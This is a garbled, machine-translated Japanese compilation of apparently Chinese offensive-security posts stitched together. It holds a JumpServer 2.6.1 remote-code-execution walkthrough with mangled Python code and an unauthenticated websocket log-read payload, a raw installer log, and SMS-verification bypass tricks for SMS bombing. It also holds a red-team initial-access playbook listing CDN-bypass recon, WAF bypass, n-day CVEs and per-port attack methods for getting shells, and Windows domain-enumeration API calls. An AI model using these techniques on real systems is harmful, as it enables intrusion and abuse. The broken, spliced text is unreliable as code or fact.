logger.debug( 'タスクログPATH: {}'。フォーマット(log_path)))

task_log_f=open(log_path、 'rb')

return task_log_f

OSERROR:を除く

なしなし

def read_log_file(self、task_id):

task_log_f=self.wait_util_log_path_exist(task_id)

そうでない場合は、task_log_f:

logger.debug( 'タスクログファイルはne: {}'。フォーマット(task_id)))

戻る

task_end_mark=[]

self.disconnected:ではありません

data=task_log_f.read(4096)

data:の場合

data=data.replace(b '\ n'、b '\ r \ n')

self.send_json(

{'message': data.decode(errors=' agnore ')、' task ': task_id}

))

data.find(b'suceded in ')!=-1:の場合

task_end_mark.append(1)

data.find(bytes(task_id、 'utf8'))!=-1:の場合

task_end_mark.append(1)

Elif Len(task_end_mark)==2:

logger.debug( 'タスクログend: {}'。フォーマット(task_id)))

壊す

time.sleep(0.2)

task_log_f.close()

def handle_task(self、task_id):

logger.info( 'task id: {}'。形式(task_id)))

スレッド=threading.thread(ターゲット=self.read_log_file、args=(task_id、)))

thread.start()

def disconnect(self、close_code):

self.disconnected=true

self.close()

このクラスのHTTPインターフェイスをご覧ください。

nvlgedxlxi12885.png

このクラスを通じて、このインターフェイスのアクセスチェーンは次のとおりです。

ws/ops/tasks/log/

-TaskLogWebsocketクラスの受信関数を入力します

-TaskLogWebsocketクラスのhandle_task関数を入力します

-loglogwebsocketクラスのread_log_file関数を入力します

-Wait_util_log_path_exist tasklogwebsocketクラスの関数を入力します

-loglogwebsocketクラスのread_log_file関数を入力します

-App/ops/utls.py jt5ue15cg0d2886.pngにget_task_log_path関数を入力します

TaskIDは、送信したtext_dataから解析されるため、制御可能です。次の方法を使用して、ログファイル/opt/jumpserver/logs/jumpserver.logを読むことができます。

ws: //10.10.10.1033608080/ws/ops/tasks/log/に送信

{'task':'/opt/jumpserver/logs/jumpserver '}上記はファイル読み取りの原則です。ログファイルの読み取りには次の制限があります。

ファイルは、絶対パスを使用してのみ読み取ることができます。ログで終わるファイルのみが読み取られます。次の分析は、リモートコード実行を実装する方法です。

/opt/jumpserver/logs/gunicorn.logを読むことで、運が良ければ、ユーザーUID、システムユーザーUID、およびAsset IDを読むことができます。

ユーザーidasset idsystemユーザーID上記の3つの情報を、ユーザーがログから取得するためにWeb端末にログインしていることを確認する必要があります。それを取得した後。 /api/v1/authentication/connection-token/interfaceを介して、/apps/authentication/api/userconnectiontokenapiを入力できます

wswy0gvf51n2887.png

4bqehsjmlxj2888.png

user_id asset_id system_user_idを使用して、20秒の有効期間のみのトークンを取得できます。このトークンは、KokoコンポーネントのTTYを作成するために使用できます。

https://github.com/jumpserver/koko/blob/master/pkg/httpd/webserver.go#342

-https://github.com/jumpserver/koko/blob/4258b6a08d1d3563437ea2257ece05b22b093e15/pkg/httpd/webserver.go#l167特定のコードは次のとおりです。

1spev0nqvf22889.png

h50wznv4z0d2890.png

完全なRCE使用手順は次のように要約されています。

WebSocket接続は許可なしに確立できます。ログファイルをWebSocketを介して読み取り、LOGファイルのシステムユーザー、ユーザー、およびアセットフィールドを取得できます。 3のフィールドを通じて、トークンを通して20秒のトークンを取得し、Koko Ttyに入ることができます。コマンドを実行する

2脆弱性の再発

2.1環境構築

ローカル環境:Xubuntu20.04JumpServerバージョン:2.6.1バージョンインストール手順:

#ダウンロード

git clone 3https://github.com/jumpserver/installer.git

CDインストーラー

#国内のDockerソースアクセラレーション

Export docker_image_prefix=docker.mirrors.ustc.edu.cn

#開発バージョンをインストールしてから2.6.1に切り替えます(2.6.1を直接インストールできるはずです。最初はデフォルトの開発バージョンとしてインストールされましたが、問題ではありません)

sudo su

./jmsctl.shインストール

./jmsctl.shアップグレードv2.6.1

# 起動する

./jmsctl.shフルログを再起動します

#yanq @ yanq-desk in〜/gitrepo [22:18336053] c:127

$ git clone 3https://github.com/jumpserver/installer.git

「インストーラー」へのクローニング.

remote:列挙オブジェクト: 467、完了。

remote:合計467(デルタ0)、再利用0(デルタ0)、パックリューズ467

: 100%(467/467)、95.24 kib | 182.00キブ/s、完了。

プロセス: 100%(305/305)、完了。

#yanq @ yanq-desk in〜/gitrepo [22:20:27]

$ CDインストーラー

#yanq @ yanq-desk in〜/gitrepo/installer on git:master o [22:20:30]

$ ls

Config-example.txt config_init jmsctl.sh readme.md scripts static.env utilsを作成します

#yanq @ yanq-desk in〜/gitrepo [22:18336059]

$ export docker_image_prefix=docker.mirrors.ustc.edu.cn

#yanq @ yanq in〜/github/installer on git:master o [22336003:43] c:130

$ sudo su

root@yanq:/home/yanq/github/installer#./jmsctl.shインストール

██╗██╗██╗███╗██╗███╗███╗██████╗██╗

██║██║███████████████████╔═════════════════════██║███████████████████╔═════════════════════██║

██║██║██║██║██████╔╝██║██║█████╗██████╔╝

█████████████║╚██║╚██╔╝██═══╝╚════██╔══╝╚════██╔══╝██╔═══╝██╔══╝

╚█████╔╝╚██████╔╝██║╚═╝╚═╝██║██║██║╚████╔╝███████╗██║

╚════╝╚═══╝╚════╝╚═╝╚═╝╚═╝

version: dev

1. JumpServerを構成します

1.構成ファイルを確認します

各コンポーネントは、YAML形式の代わりに環境変数構成ファイルを使用し、構成名は前のものと一致しています

構成ファイルの場所: /opt/jumpserver/config/config.txt

仕上げる

2。nginx証明書を構成します

証明書の場所は:/opt/jumpserver/config/nginx/certです

仕上げる

3。バックアップ構成ファイル

/opt/jumpserver/config/backup/config.txt.2021-01-17_22-03-52にバックアップします

仕上げる

4.ネットワークを構成します

IPv6をサポートする必要がありますか? (y/n)(デフォルトはn): n

仕上げる

5.暗号化キーを自動的に生成します

仕上げる

6.永続性ディレクトリを構成します

ログ記録などの永続的なディレクトリを変更し、最大のディスクを見つけ、 /opt /jumpserverなどのディレクトリを作成します

インストール後に:を変更できないことに注意してください。そうしないと、データベースが失われる可能性があります。

使用可能なファイルシステム容量は、使用済みの使用%マウントポイントです

udev 7.3g 0 7.3g 0% /dev

/dev /nvme0n1p2 468g 200g 245g 45% /

/dev/loop1 56m 56m 0 100%/snap/core18/1944

/dev/loop2 65m 65m 0 100%/snap/gtk-common-themes/1513

/dev/loop3 218m 218m 0 100%/snap/gnome-3-34-1804/60

/dev/loop0 56m 56m 0 100%/snap/core18/1932

/dev/loop5 32m 32m 0 100%/snap/snapd/10492

/dev/loop6 65m 65m 0 100%/snap/gtk-common-themes/1514

/dev/loop4 52m 52m 0 100%/snap/snap-store/498

/dev/loop7 52m 52m 0 100%/snap/snap-store/518

/dev/loop8 219m 219m 0 100%/snap/gnome-3-34-1804/66

/dev/loop9 32m 32m 0 100%/snap/snapd/10707

/dev/nvme0n1p1 511m 7.8m 504m 2%/boot/efi

永続的なボリュームストレージディレクトリ(デフォルトは /opt /jumpserver):を設定します

仕上げる

7. mysqlを構成します

外部mysql(y/n)を使用するかどうか(デフォルトはn): n

仕上げる

8。redisを構成します

外部redis(y/n)を使用するかどうか(デフォルトはn): n

仕上げる

2。Dockerをインストールして構成します

1。Dockerをインストールします

Dockerプログラムのダウンロードを開始します.

-2021-01-17 22:04336012--- https://Mirrors.aliyun.com/docker-ce/linux/static/statable/x86_64/docker-8.06.2-ce.tgz

ホストmirrors.aliyun.com(mirrors.aliyun.com). 180.97.148.110、101.89.125.248、58.216.16.38、

mirrors.aliyun.com(mirrors.aliyun.com)| 180.97.148.110 | :443 .接続。

HTTPリクエストが発行され、応答を待っています. 200 OK

長さ:43834194(42M)[アプリケーション/X-TAR]

: "/tmp/docker.tar.gzに節約

/tmp/docker.tar.gz 100%[======================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================

2021-01-17 22:04336016(13.8 MB/s)-Saved "/tmp/docker.tar.gz" [43834194/43834194]))

Docker Composeプログラムのダウンロードを開始します.

-2021-01-17 22:04336017--https://Get.daocloud.io/docker/compose/releases/dowdoload/1.27.4/docker-compose-linux-x86_64

ホストの解決get.daocloud.io(get.daocloud.io). 106.75.86.15

接続get.daocloud.io(get.daocloud.io)| 106.75.86.15 | :443 .接続。

HTTPリクエストが発行され、応答を待っています. 302が見つかりました

場所:https://DN-DAO-GITHUB-MIRROR.DAOCLOUD.io/docker/compose/releases/download/1.27.4/docker-compose-linux-x86_64 [新しいURLに従ってください]

-2021-01-17 223:04:28--- https://DN-DAO-GITHUB-MIRROR.DAOCLOUD.IO/DOCKER/COMPOSE/RELEASES/DOWNLOAD/1.27.4/DOCKER-COMPOSE-LINUX-X86_64

ホストdn-dao-github-mirror.daocloud.io(dn-dao-github-mirror.daocloud.io). 240e:ff:a024:200:33603fe、 240E:964:100:302:33603FE、61.160.204.242、

DN-DAO-GITHUB-MIRROR.DAOCLOUD.IO(DN-DAO-GITHUB-MIRROR.DAOCLOUD.IO)| 240E:FF:A024:200:33603FE | :43 .接続。

HTTPリクエストが発行され、応答を待っています. 200 OK

長さ:12218968(12M)[アプリケーション/X-執行可能]

: "/tmp/docker-compose"に節約

/TMP/Docker-Compose

当事者Aのビジネスをテストしたり、SRCやその他のサービスを掘ったりするとき、SMS検証が送信される場所に遭遇することがよくあります。考えることができるのは、ユーザーによるログイン、SMS爆撃、およびパスワードを変更するユーザーなどの論理的な脆弱性です。また、単純な脆弱性には、明確な思考分析が必要であり、いくつかのSMSを使用して複数のバイパスケースを爆撃して共有し、リスクと低リスクを使用してそれらを収集します。 1。パラメーター汚染バイパスパラメーター汚染、つまり、背景にテキストメッセージを送信するとき、数の一部が取得されます。他の文字を混ぜると、送信された携帯電話番号の制限の確認をバイパスします:1049983-20230406203235605-677102358.jpg2。可変汚染は、いわゆる可変汚染をバイパスします。おそらく、背景が最初の変数のコンテンツをチェックし、値として扱われますが、データパケットが背景に渡されると、パラメーター名が同じ場合、2番目、3番目、4番目、および最後のパラメーターがベンチマークとして渡されるため、バックエンドの制限は:01011049983-20230406203237344-2127976321.jpg3に渡されます。携帯電話番号をバイパスするデータ長の定義は11桁ですが、背景は、123=0123=00123などの送信された携帯電話番号の長さを確認しません。この方法は、携帯電話番号をバイパスするために使用されます。確認コードを送信するとき、フロントエンドは状態をもたらします。この状態を変更することにより、システムの制限をバイパスできます。たとえば、登録されたユーザーはテキストメッセージを送信することはできません。反対に、未登録のユーザーはテキストメッセージを送信できません。フレーズはTrue 1049983-20230406203238839-1649026213.jpg5に変更されます。クッキーは、薬を変えないようにスープを迂回して置き換えます。 Cookieのユーザーの資格情報を確認します。 Cookieのいくつかのパラメーターを変更することにより、バイパスをバイパスして携帯電話番号を送信/登録してテキストメッセージを送信できます:1049983-20230406203239567-527777944.jpg 1049983-20230406203240335-1564604767.jpg6。 [SPASTバイパスSMS爆撃] [画像なし] SMSを送信するときは11桁ですが、データベースはフィールドの長さを11に制限しません。元の検証はスペースを追加することでバイパスされます。ただし、バックグラウンドで番号を送信すると、有効な文字の前のフィールドが取得されるため、バイパスされた方法が得られます。 7。 8。[APIインターフェイスに基づいて] [写真なし]この脆弱性については、一般に、フロントデスクに携帯電話番号を入力し、リクエスト1を送信して背景に移動して、送信要求を実行できるかどうかを判断します。

2。そうでない場合は、誤ったものまたはエラーを返します。成功した場合は、trueまたは成功を返します。返されたものを見つけてください。

この種の脆弱性は、インターフェイスに記載されている場合があります。

毎日の手順の簡単な説明

エントリ許可=イントラネットの収集/検出=殺害の免除[不要]=クロールログイン資格情報=クロスプラットフォームhorizontal=エントリメンテナンス=データリターン=通常の許可メンテナンス

0x01エントリ許可へのアクセス[早期偵察では、コレクション段階には多くの防御可能なポイントがなく、防衛の中心ではありません]

1。CDN周辺のすべての実際のIPセグメントを見つけます(1)。全国の複数のpingを通して、IPアドレスがCDNhttp://PING.com/https://Tools.ipip.net/ping/ping/ping.phphttps://www.17ce.com/3https://ww.cdnplanet.com/tools/cdnfinder/(cdnfinder/(2)かどうかを判断するために一意かどうかを確認してください。以前のDNSバインディング履歴レコードを通じて、実際のIPアドレスhttps://x.Threatbook.cn/https://Viewdns.info/https://www.ip138.com/http://toolbar.netcraft.com/site_report?url=3333https://securitytrails.com/(3)を見つけてください。複数のサブドメインを取得し、バッチ内の複数のサブドメインをpingすることにより、サブドメインのIPを決定できます。セグメントは実際のIPセグメントです(メインサイトはCNDを使用しますが、サブドメインサブサイトはCDNを使用して解決しません)レイヤーサブドメインがExcavator/googlehackinghttps://phpinfo.me/domain/http://tool.chinaz.com/subdomain/https://github.com/lijiejie/subdomainsbrute(4)。 SSL証明書を使用して、実際の元のIPhttps://C essys.io/https://crt.sh/(5)を見つけます。外国人ホストを使用してドメイン名https://asm.ca.com/zh_cn/ping.phphttps://asm.saas.broadcom.com/zh_cn/register.php3359dnscheck.pingdom.com(6)を解決します。 PHPINFOやGitHubに敏感な情報漏れまたはApacheステータス、JBOSSステータス敏感な情報漏れ、Webソースコードの漏れ、SVN情報漏れ文字、GitHub情報漏れ(7)などのWebサイトの脆弱性検索。ウェブサイトの電子メールサブスクリプションRSS電子メールサブスクリプションを探します。多くのウェブサイトにはsendmailが付属しており、メールを送信します。現時点では、電子メールソースコードをチェックするには、サーバーの実際のIPが含まれます。 (8)。 CDNに侵入し、抜け穴または弱いソーシャルワーカーのパスワードを介して入力します。 (9)。 ZMAPとZgrabのフルネットワークスキャンを介して実際のIPを取得します。 https://www.ip2location.com/free/visitor-blocker3https://www.ipdeny.com/ipblocks/3https://www.t00ls.net/articles-40631.html(Zgrab)3https://levyhsu.com/2017/05/05/5%888%A8%A8%A8%a8です94%a8zgrab%e7%bb%95cdn%e6%89%be%e7%9c%9f%e5%ae%9eip/http://bobao.360.cn/learning/detail/211.html(zmap)(10)。 https://www.zoomeyee.orgshodan:https://www.shodan.iofofa:https://fofa.s(11)。 ping 163.conの場合、バイパスできます(12)。前のものの古いドメイン名はping(13)を使用できます。 F5 LTMデコードメソッドサーバーがロードバランスにF5 LTMを使用する場合、実際のIPは、Set-Cookie: Bigipserverpool_8.29_8030=487098378.24095.0000などのSet-Cookieキーワードをデコードすることで取得することもできます。最初に最初のセクションの小数を取り出し、つまり487098378を取り出し、次に16進数1D08880Aに変換し、次に背面から前面に変換し、4桁の番号、つまり0A.88.08.1Dを取得し、最終的にそれらを10桁に変換します。ターゲットを見つけるためのさまざまなWeb管理バックエンドログインポート(1)ターゲットWebバナーツールのすべての実際のCセグメント:iisput

(2)。バッチベーシックサービスポートスキャン、検出、およびターゲットのすべての実際のCセグメントの識別ツール:Yujian Port Scan、Goby

(3)。ターゲットDNSがエリアトランスミッションを許可するかどうかを試してください。許可されていない場合は、サブドメインDNSドメイン送信を爆破しようとします:C: \ users \ ljnslookupデフォルトサーバー:不明: 211.82.100.1サーバー125.223.168.5 LS THNU.EDU.CNサブドメイン名爆発:レイヤー(4)。バルククロールすべてのターゲットサブドメインWebバナーツール:レイヤー(5)、ターゲットのすべてのサブドメインのバッチベーシックサービスポート検出および識別ツール:Yujian Port Scan、Goby(6)Batchは、すべての生存するWebサイトのWebプログラムフィンガープリントを識別し、その詳細なバージョンhttps://github.com/edgesecurityTeam/Ehole33333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333999GITHMY http://finger.tidesec.com/http://whatweb.bugscaner.com/look/3https://fp.shuziguanxing.com/#/3https://www.yunsee.cn/(6)さまざまな敏感なファイルを見つけて、時にはターゲットからターゲットに漏れていることがあります。 'AccessKey'https://github.com/0xbug/hawkeyehttps://github.com/feicn/gsil(6)ネットワークディスク/baiduライブラリからターゲットによって漏れたさまざまな機密ファイルとアカウントパスワードを見つけますhttp://www.daysou.com/(network disk search)

(7)ターゲットがサードパーティの歴史的脆弱性データベースからリークしたさまざまな機密アカウントのパスワードを見つけます[国内ターゲットは非常に有用です]

(9)Webサイトディレクトリスキャン[ターゲットWebサイト、Webサイトのバックアップファイル、機密構成ファイル、ソースコード、その他のWebシェルなどによってリークされたあらゆる種類の機密ファイルを見つけます.]ツール:Yujian Directory、Dirsearch Directory、dirsearchディレクトリ、

(10)フロントエンドコードでターゲットサイト自体によってリークされるさまざまな機密情報

(11)fofa/shodan/bing/googleハッキング詳細な使用率

(12)ターゲットの学生番号/従業員の仕事番号/ターゲットメールを収集します[そしてさまざまなソーシャルワークデータベースに移動して、これらのメールアドレスがパスワードを漏らしたかどうかを確認します]学生学生番号公式ウェブサイトとTIEBAフォーラムコレクション、公式ウェブサイトまたはソーシャルワークデータベースおよびGithubでの従業員の仕事番号検索

(13)ターゲットは、さまざまな技術文書/WIKISおよびさまざまなアカウントパスワードおよびその他の機密情報を提供します。

(14)ターゲットWechatアプレットとパブリックアカウント(15)ターゲットアプリWebリクエストを分析する(16)JSプローブを使用してターゲットイントラネット情報を収集します

(17)さまざまな内部QQグループ/WECHATグループで混合する方法を見つける

(18)ターゲット直接サプライヤーを分析する[特に技術のアウトソーシング]

(19)以前に収集されたさまざまな情報に基づいて、ターゲットを絞った弱いパスワード辞書を作成しますhttps://xsshs.cn/xss.php?do=pass

(20)ターゲットとバイパスhttps://github.com/enablesecurity/wafw00f(WAF認識)が使用するWAFタイプの認識

(21)Bypasswafファイルのアップロード/読み取り/ダウンロード

(22)バイパスワフSQL注射

(23)Bypasswaf rce(24)bypasswafさまざまなタイプのJava Webミドルウェア既知のnday脆弱性

(25)殺害のないバイパスワフのウェブシェル

もっと、追加して正しい.

0x02エントリ許可へのアクセス[外部防衛センター( "Top on Top")]

この段階は、主に主流の「ミドルウェア +オープンソースプログラム + Webサービスコンポーネント」のさまざまな既知のndayの脆弱性を対象としています

以下は、「実際の攻撃利用の難易度」と「取得した高および低いシェル許可」に基づいて詳細に並べ替えられています。それは実用的に完全に導かれているためです

したがって、比較的一般的であり、実際にGettingshellを効果的に支援できる「ミドルウェア」、「オープンソースプログラム」、「Webコンポーネント」のみを選択しました。

さまざまなJavaミドルウェアのさまざまな既知のndayエクスプロイト

他のスクリプトのようなWebプログラムとは異なり、Javaの実行許可は通常比較的高く、それらのほとんどはRoot/Administrator/システムの許可で直接実行されています。

したがって、取得したシェルアクセス許可は一般的に非常に高く、通常は直接サーバー許可です

特にさまざまな赤いチームのシナリオでは、侵入者は通常、これらのポイントを最初に選択し、これをブレークスルーとして使用して、安定したスプリングボードの入力許可を取得します。

どの業界がどのミドルウェアを使用するのが好きかについて、これらも事前に分析および要約する必要があります。

struts2struts2-005

struts2-008

Struts2-009

struts2-013

Struts2-016(実際、多くの古いシステムがこの穴を見逃しており、成功率は高くなっています)

Struts2-019

Struts2-020

struts2-devmode

struts2-032

Struts2-033

Struts2-037

Struts2-045

Struts2-046

Struts2-048

struts2-052

struts2-053

struts2-057

利用ツール:https://github.com/hatboy/struts2-scanweblogiccve-2019-2725

CVE-2019-2729

CVE-2018-3191

CVE-2018-2628

CVE-2018-2893

CVE-2018-2894

CVE-2017-3506

CVE-2017-10271

CVE-2017-3248

CVE-2016-0638

CVE-2016-3510

CVE-2015-4852

CVE-2014-4210

SSRF

弱いコンソールパスワード、WebShellの展開

ツールチェックとエクスプロテーション:https://github.com/0xn0ne/weblogicscanner(ツールチェック)https://github.com/zhzyker/expub/tree/master/weblogic(ツールエクスプロイト)jbosscve-2015-7501

CVE-2017-7504

CVE-2017-12149

許可されていないアクセス、WebShellの展開

弱いコンソールパスワード、WebShellの展開

利用ツール:https://github.com/joaomatosf/jexboss3https://github.com/joaomatosf/javadeserh2hcwildfly [jboss 7.xはwildflyに変更されます]コンソールの弱いパスワード、ウェブシェルの展開

Tomcatcve-2016-8735

CVE-2017-12615 [Readonly、それは真実に設定される可能性が低く、少し役に立たない]

CVE-2020-1938 [AJPプロトコルの脆弱性、多くの人がポート8009を外部ネットワークに直接さらしているわけではありません。

コンソールの弱いパスワード、WebShelllが展開されます[注:バージョン7.x、デフォルトで爆発防止機構が追加されます]

脆弱性のエクスプロイト概要: https://blog.csdn.net/weixin_42918771/article/details/10484443673https://mp.weixin.qq.com/s/zxocj9ghmatvvfeyn8vmua3https://saucer-man.com jekinscve-2018-1999002 [任意のファイルの読み取り]

不正アクセス、任意のコマンド実行

コンソールの弱いパスワード、任意のコマンド実行

脆弱性のエクスプロイト概要: https://www.cnblogs.com/junsec/p/11593556.htmlhttps://misakikata.github.io/2020/03/jenkins%E 6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88%E5%A4%8D%E7%8E%B0/https://GITHUB.COM/GQUERE/PWN_JENKINS ElasticSearchCVE-2014-3120 [特に古いバージョン用(サンドボックスなし)RCE]

CVE-2015-1427 [グルービーRCE]

CVE-2015-3337 [任意のファイルの読み取り]

許可されていないアクセス、機密情報が漏れました

脆弱性の概要: https://jishuin.proginn.com/p/763bfbd3aa0dhttps://mp.weixin.qq.com/s?__biz=mzawmjgwmtu1mg=mid=2247484 799idx=2sn=b91f5bc7a31f5786a66f39599ea44bffhttps://blog.csdn.net/u011066706/article/details/51175761 https://www.cnblogs.com/atesetenginner/p/12060537.html rabbitmq弱いパスワードのデフォルトアカウントパスワードはゲスト/ゲストです(デフォルトポート:15672、25672、15692)

Glassfish任意のファイル読み取り[低バージョン]

弱いコンソールパスワード、WebShellの展開

脆弱性のエクスプロイト:http://IP:ポート/テーマ/メタINF/%C0 WebSpherejavaの降下

弱いコンソールパスワード、WebShellの展開

脆弱性exploithttps://www.lxhsec.com/2019/03/04/middleware/https://wiki.96.mk/web%E5%AE%89%E5%85%85%A8/websphere/cve-2020-4643%20ibm%20websphere5% a aad%aid%a8です%9c%a8xxe%e5%a4%96%e9%83%a8%e5%ae%9e%e4%bd%93%e6%b3%a8%e5%85%a5%e6%b C%8F%E6%B4%9e/https://github.com/ares-x/vulwikihttps://xz.aliyun.com/t/8248 axis2任意のファイルの読み取り

ディレクトリトラバーサル

脆弱性のエクスプロイト: https://xz.aliyun.com/t/6196https://paper.seebug.org/1489/#23-axis23https://wiki.96.mk/w EB%E5%AE%89%E5%85%A8/Apache%20axis/%EF%BC%88CVE-2019-0227%EF%BC%89APACHE%20axis %201.4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/https://github.com/Cale doniaproject/axisinvokerhttps://github.com/fnzer0/axis-rcehttps://paper.seebug.org/1489/apache activemqはアクセスの許可されておらず、5.12の前にfileserverが存在し、putが任意に書かれています

CVE-2015-5254

脆弱性のエクスプロイト:http://wiki.sentrylab.cn/0day/activemq/3.html3https://www.freebuf.com/column/161188.htmlhttps://www.taodudu.cc/news/show-234492.htmlcte

CVE-2019-0193 [apache solr 5.x-8.2.0]

エクスプロイト: https://xz.aliyun.com/search?keyword=solrhttps://www.jiansshu.com/p/43e7f13e2058https://caiqiqi.github.io/2019/11/03/apache-solr%e6%bc%8f%e6%b4%9e%e5%90%88%e9%9b%86/https://cloud.tencent.com/developer/article/1810723 http://wiki.peiqi.tech/peiqi_wiki/web%E6%9c%8D%E5%8A%A1%E5%9999999999EAPACHE/APACHE%20Solr/?

Apache Shiro Deserialization Fastjson=1.2.47脱力化利用

さまざまなWindows PHP統合環境の場合[このような環境で得られるWebシェル許可は比較的高いため、通常は赤チームの職員にとって最初の選択肢です)

AppServ

xampp

パゴダ

phpstudy

.

さまざまなオープンソースプログラムの既知のndayの脆弱性エクスプロイト

DEDECMS背景弱いパスワード、シリーズ既知のnday脆弱性エクスプロイト

thinkphp 5.x背景の弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト

PHPCMSバックグラウンド弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト

ECSHOPの背景弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト

MetInfoの背景弱いパスワード、シリーズは既知のndayの脆弱性エクスプロイト

Discuzバックグラウンド弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト

Empire CMSバックグラウンド弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト

phpmyAdminデータベース弱いパスワード、シリーズnady脆弱性のエクスプロイト

WordPressの背景弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト

Joomlaの背景弱いパスワード、シリーズはnadyの脆弱性の悪用を既知のシリーズ

Drupal CVE-2018-7600、バックエンドの弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト

.

他のさまざまなWebコンポーネントの既知のndayエクスプロイト

IIS 6.0 RCEショートファイルの脆弱性

任意に書き込みます

WebDav RCE CVE-2017-7269

Zendaoプロジェクト管理システムSQLインジェクション

ファイルの読み取り

リモート実行

Tongda OASQL注射

任意のアップロード

Exchangeはインターフェイスを使用して、メールボックスのユーザー名を列挙します

各インターフェイスの弱いパスワードブラスト

CVE-2020-0688 [利用の前提条件は、最初に電子メールユーザーの許可が必要なことです]

.

zimbra [xxe + ssrf=rce] CVE-2013-7091

CVE-2016-9924

CVE-2019-9670

Citrixcve-2019-19781

Jumpserver認証バイパス

Zabbixcve-2017-2824

SQLインジェクション[2.0古いバージョン]

コンソールの弱いパスワード、機密機械情報が漏れます

サボテンバージョンSQLインジェクション

弱いコンソールパスワード

Nagioscve-2016-9565

弱いコンソールパスワード

Webmin RCECVE-2019-15107

phpmailercve-2016-10033

FANWEI OAリモートコード実行キングディーOA SQLインジェクションコアメイル敏感なファイルリークueditor任意のファイルopensSl heart grab平野アカウントパスワード[ハートベルド]シェルブレイクの脆弱性[シェルショック]

迅速に逃げることができるさまざまな通常の基本的なWeb脆弱性[注:いくつかの脆弱性は、コードをレビューせずに効果的かつ盲目的に検出することが実際に困難です]

背景の弱いパスワード

SSRF

SQLインジェクション

権威の行き過ぎ

コマンド/コードの実行/脱介入

ファイルをアップロード/ダウンロード/読み取ります

含む

XSS(実際、XSSは特定の特定の電子メールをターゲットにしていて、ブラウザ0adを手に持っている場合にのみ価値があります。実際、Red Teamシナリオではそれほど致命的ではありません)

ビジネスロジックの脆弱性

さまざまな境界ネットワークデバイスのさまざまな用途、主にWeb管理コンソールの弱いパスワードとさまざまな既知のnday攻撃をログインします。

パルスセキュアVPNCVE-2019-11510 [任意のファイルの読み取り]

Fortinet VPNCVE-2018-13379 [ファイルリーディング]

Sangfor VPN RCE

0x03エントリーアクセスアクセスエントリアクセス[特に、さまざまな基本サービスポートのさまざまなゲッシェル利用、防衛フォーカス(「最優先事項 "))

ここでは、実際には実際にGootshellに役立つサービスのみを選択します。他の比較的限界サービスは言及されていません。

同様に、基準の詳細な並べ替えは、「実際の攻撃利用の難しさ」と「取得したシェル許可」に基づいていました。

次のように、各ポートの特定の攻撃方法について簡単に説明します。

トップポートListMSSQL [TCP 1433ポートのデフォルト作業、パスワードの弱い、敏感なアカウントパスワードリーク、特権昇給、リモート実行、バックドアインプラント]

SMB [TCPポート445のデフォルト作業、パスワードの弱い、リモート実行、バックドア移植]

WMI [TCPポート135のデフォルト作業、パスワードの弱い、リモート実行、バックドア移植]

Winrm [TCP 5985ポートのデフォルトの作業、このアイテムは主にウィンドウ、弱いパスワード、リモート実行、バックドアインプラントのいくつかのより高いバージョン用です]

RDP [デフォルトでは、TCP 3389ポート、弱いパスワード、リモート実行、シフトクラスバックドアが他の人が残しています]

SSH [TCP 22ポート、弱いパスワード、リモート実行、バックドアインプラントのデフォルト作業]

Oracle [TCP 1521ポートでのデフォルト作業、弱いパスワード、敏感なアカウントパスワードの漏れ、特権昇給、リモート実行、バックドア移植]

MySQL [デフォルトでは、TCP 3306ポート、弱いパスワード、敏感なアカウントパスワードの漏れ、および昇給権(いくつかの古いシステムにのみ適用される)で動作します]]

Redis [TCPポート6379のデフォルト作業、弱いパスワード、不正アクセス、書き込みファイル(WebShell、スタートアイテム、スケジュールされたタスク)、許可の引き上げ]

postgreSQL [TCP 5432ポート、弱いパスワード、機密情報漏れのデフォルト作業]

LDAP [TCPポート389でのデフォルト作業、不正アクセス、弱いパスワード、機密アカウントパスワードリーク]]

SMTP [デフォルトでは、ユーザー名の列挙脆弱性、パスワードの弱い、サービスの誤ったものによって引き起こされる機密情報の漏れ]

POP3 [TCPポート110のデフォルト作業、パスワードの弱い、機密情報漏れ]

IMAP [TCPポート143のデフォルト作業、パスワードの弱い、機密情報の漏れ]

Exchange [TCP 443ポートでのデフォルト作業、弱いパスワードBlasting EG: OWA、EWS、OAB、AutoDiscover . PTH OFF-MAIL、機密情報リーク.]

VNC [TCPポート5900のデフォルト作業、パスワードの弱い]

FTP [デフォルトでは、TCP 21ポート、弱いパスワード、匿名アクセス/書き込み、機密情報の漏れで動作します]

RSYNC [TCP 873ポートでのデフォルト作業、不正、弱いパスワード、機密情報漏れ]

mongodb [TCP 27017ポートのデフォルト作業、不正で弱いパスワード]

Telnet [TCP 23ポート、弱いパスワード、バックドア移植のデフォルト作業]

SVN [TCP 3690ポートのデフォルト作業、パスワードの弱い、機密情報漏れ

0x01。 netlocalgroupgetMembers

関数:ターゲットサーバーローカル管理グループのクエリメンバー

1049983-20230323151123817-61694149.png

0x02。 netlocalgroupenum

機能:指定されたサーバーのすべてのローカルグループを返します

1049983-20230323151125016-233092716.png

0x03。 netgroupgetusers

機能:指定されたサーバーと指定されたグループのすべてのメンバーを返します

ドメイン内の各グループのメンバーをクエリし、IPはドメインコントロールIPでなければなりません

1049983-20230323151126012-1342971612.png

0x04。 Netuserenum

機能:非表示のユーザーを含むターゲットサーバーのすべてのユーザーをクエリします

4ky3lgedepc2869.png

1049983-20230323151126797-88203591.png

0x05。 wnetaddconnection2a

機能:IPC接続を確立します。これにより、ターゲット共有ディレクトリをローカルディスクにマッピングできます

1049983-20230323151127542-1431694340.png0x06。 wnetcancelconnection2

関数:IPC接続を削除します

1049983-20230323151128551-473455335.png0x07。 Enudomainuser

関数:ドメインユーザーを列挙します

1。はじめに

適用可能:現在の境界マシンのアクセス許可は、ワーキンググループマシンです。 NLTESTやNBTSCANなどのツールを介して、イントラネットにはドメイン環境があり、ドメイン制御IPが見つかっていることがわかりますが、侵入のアイデアはドメインユーザーの許可にはありません。

前提条件:ドメインコントロールとの空の接続を確立する能力

